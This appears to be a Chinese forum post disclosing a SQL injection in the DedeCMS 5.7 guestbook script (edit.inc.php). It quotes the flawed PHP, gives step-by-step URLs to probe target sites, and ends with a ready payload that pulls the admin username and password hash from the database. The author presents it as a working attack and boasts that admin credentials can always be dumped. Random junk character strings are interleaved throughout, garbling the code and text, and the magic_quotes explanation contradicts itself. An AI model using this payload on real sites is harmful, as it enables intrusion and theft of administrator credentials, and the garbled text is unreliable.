影响版本为5.7
5 W1 H( P3 {; d" p. d, E6 p' I8 O& d+ P) Y* | c8 h
漏洞文件edit.inc.php具体代码:
9 @7 Q, M: w9 b1 V: N% C4 V8 e% N. [3 f8 F z# d
< ?php 4 t( Z3 W7 }$ _" N4 e% r, x
' s- d, R0 D+ W: g9 V+ mif(!defined('DEDEINC')) exit('Request Error!');
2 w; o8 x, g3 a% W, K. B( ?) T
8 ]% g/ M$ Z, t! Y% b. J
6 y0 Z: Z* c# k( r! [6 |0 V; S O
! A$ _( o9 {% c& n3 Hif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
- Y9 I, ^# T( a" B- S( ?' V9 d2 v
else $GUEST_BOOK_POS = "guestbook.php"; , L- ^! ^3 t0 R
3 [) m. S" I: H& D- G
% U/ l( [8 g& V c2 b: f% \
9 l/ x: ?3 C7 z% Q- _6 W$id = intval($id);
B8 z1 M1 |8 v: L1 { Q. E% o7 S$ U' m" f" V! o
if(empty($job)) $job='view'; # T) s. L! Q* Z F* l r, t( q$ x
3 p3 m: H/ G% ^ k: K7 d* d2 u
# b7 @: w, T( }
/ L* w3 L* Q9 P* F4 z- Pif($job=='del' && $g_isadmin) ( ]- u# L! B4 x1 H$ {8 v/ e! R, s
7 Y- S; Y* i- c3 P, X! E{ , ]3 x3 r) R6 a# z' h0 y i0 U3 q
. E4 |+ I0 O% D6 Z; u- p+ v. g X
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
+ z8 B; t; i) a9 x, m5 @$ q7 N! b* B) y8 F6 s4 y' |) {
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
. X5 ` D) f" n( h4 n ?
9 B9 k+ L% f m2 ~exit(); 5 K# O3 p. L! V* l( V- k
, W6 {% W* E+ ?
} , ^# u; @7 H/ _! Q/ ]# f4 \
1 e0 g6 f! X6 K( V1 a7 `
else if($job=='check' && $g_isadmin) & R' Z+ f; y8 B- @1 O" z
' `: G) x) F+ N# n/ E9 ?
{
: @) H; |+ Y! g i N- T ~2 d0 p/ T* ]% q
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 4 @6 `, L" r5 z" ]& u# N# ]2 E
0 x! R8 P- H q
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
# Y/ m( o3 n0 |, d8 {' V$ P/ K) G! C5 N
exit(); . ]( Y4 @( D# A0 v0 m. s* [. |- }
7 w( G* o |6 n6 I/ w2 B* o* r) B
}
) o1 T e. D& }, ~/ ]# W( w9 J( z a
else if($job=='editok')
5 s9 @5 R) x( H$ Z- N+ N! X" `- b' i& e
{
3 t) i0 _( _) {5 j, V' m3 D, M; C$ t5 ]' r- {( B
$remsg = trim($remsg); 9 Q# e2 T" A! O6 m" i1 h
0 M3 [$ v6 m7 _7 r& W+ Bif($remsg!='')
6 `6 [; I3 c+ Z' D0 z
8 i6 i: z( Y8 x0 I$ q/ F- i{ , v4 _0 w/ ^7 v7 H4 r
/ R$ T+ n7 t6 r) v+ M0 x" [//管理员回复不过滤HTML By:Errorera blog:errs.cc ! X/ G, C: z ~
/ y2 X$ j$ [# ^" c+ i6 W$ w6 ~$ Kif($g_isadmin)
8 H! \* @! T$ B8 q( U6 ?1 l% s2 y' k- h1 f% k- I0 z: Q
{ " I* U0 _. c' w8 ]! P% ~& I
. ~* J+ j8 P7 _$ D9 @) e. U
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
( l# e8 }* X' [7 q
% X& C! U2 U! M* ]. X' m) }; n# T+ S//$remsg <br /><font color=red>管理员回复:</font> }
2 J# h! [$ ]. Z0 @/ U; |$ O3 y0 @4 M# H2 o# z# V2 q: A
else
7 m9 n3 Z- z, `* o" ^+ @2 a1 }% \3 P" I) G" _- ^$ G9 i- n2 I; Q, N
{
, Y9 @) V9 `3 r! W( R
- v5 w' B7 |2 a$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
! [, J& ]$ j' l" l$ ^/ a5 R1 k {. B! w$ V0 m
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; - C* s5 l+ m( u) n9 g5 @
0 s1 k! T4 \8 \2 @; |
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
% v! C9 b7 o/ l; V5 Q, `1 \; i( {! t. d1 \# ^% ^" h6 y
$msg = $oldmsg.$remsg;
; [' ~3 e% S' \$ s4 ~7 ^1 C1 t4 I0 y6 Y2 U% ^0 Q7 y
} ' D/ I6 z6 j- n; b5 a
2 L' G2 r3 K2 N" X" G' _
}
& v: W, Y/ N0 N0 j3 V8 J' K3 d7 n$ q1 [6 H! X7 w
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 0 D( X8 P) C9 l- b# p3 }
! m# `4 L! e: u2 A! e3 I
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
2 F6 R/ b4 P: [. a/ ], n
; i M: n% ^$ ZShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); ) y F- ]+ H7 f
6 Q, w' [1 G. i6 E5 h/ R
exit();
1 L- Q |2 k+ B0 |
$ D# }1 U9 r& \}
0 Y2 v( @- c1 d* p
# B6 V9 I/ l$ l( r; A//home:www.errs.cc
4 x* F; T& \/ Y
0 E y: ?7 d5 V7 e$ \( `if($g_isadmin)
* W0 g! `: [. q
; h: g+ Z5 e) c- h{ ' W( _# A7 B3 R9 y+ d+ F! w! d
2 a9 w" O. B. N8 d$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
4 L/ k( V" y1 f. I' G( L( G7 c( y9 H2 m$ L! V3 M
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); _) G t. g- s2 @! ^- Y7 b
4 f# G: z# A% R$ Z
} ( |+ R- \5 I5 {" I9 k+ T7 C
2 E. ]3 S3 V, G" F! M; e' Q+ felse
5 Y$ p$ F8 z5 d% W* Q/ s3 \5 S# o5 c! ~: z9 n
{ ' F1 x+ Q- O. s- J. X
) b R! W3 b9 B3 ^
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); / g& R% A& ~0 g3 @$ G7 D
& e n' X5 _6 N7 V3 g2 lrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); : N; H$ {" @" v- I& {0 ]
8 L- f/ L! w T' n1 O* ?9 @2 X
} 漏洞成功需要条件:( B4 \+ ? k7 J: D* Z/ w8 H/ V
1. php magic_quotes_gpc=off) E" k8 L4 V+ R# o0 k" v
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! v3 I ? g' P
3 _- D: F' N/ Y5 A" N( A" Y1 H
怎么判断是否存在漏洞:" N& l" k! Y* B# k9 j1 M1 C& M
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
* Z4 l5 o4 \4 y3 W然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID9 p$ V& X, ? Q8 O+ j, {
访问:0 E$ q9 s8 H: u' H! }
5 G; h: w) s. }' z2 k! O' rwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
8 c' m( B2 `* f跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
* w, I) Y+ X# h2 U7 z
2 s# Q5 N V6 T8 r0 h2 t
" s' L5 r3 ] x明漏洞无法利用应为他开启了 php magic_quotes_gpc=off& e! ~1 g# V, W6 T
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
5 p, e' w# [* r那么再次访问
5 R, z: g: v8 m. o5 U( I' W
) s6 w8 [' A8 B0 ^# K! _+ V8 wwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
- D$ d) U/ P. k% r3 h# _
7 H6 M, X3 T |7 ?2 ?. O) X大概利用就是这样,大家有兴趣的多研究下!!6 g! V' ~" ~4 Q- ]( o$ {
: j% z, o; k# R. n
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
" }% P7 c7 h1 |2 G1 O( u* y$ ~+ b/ B0 `" v" _: _9 e
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |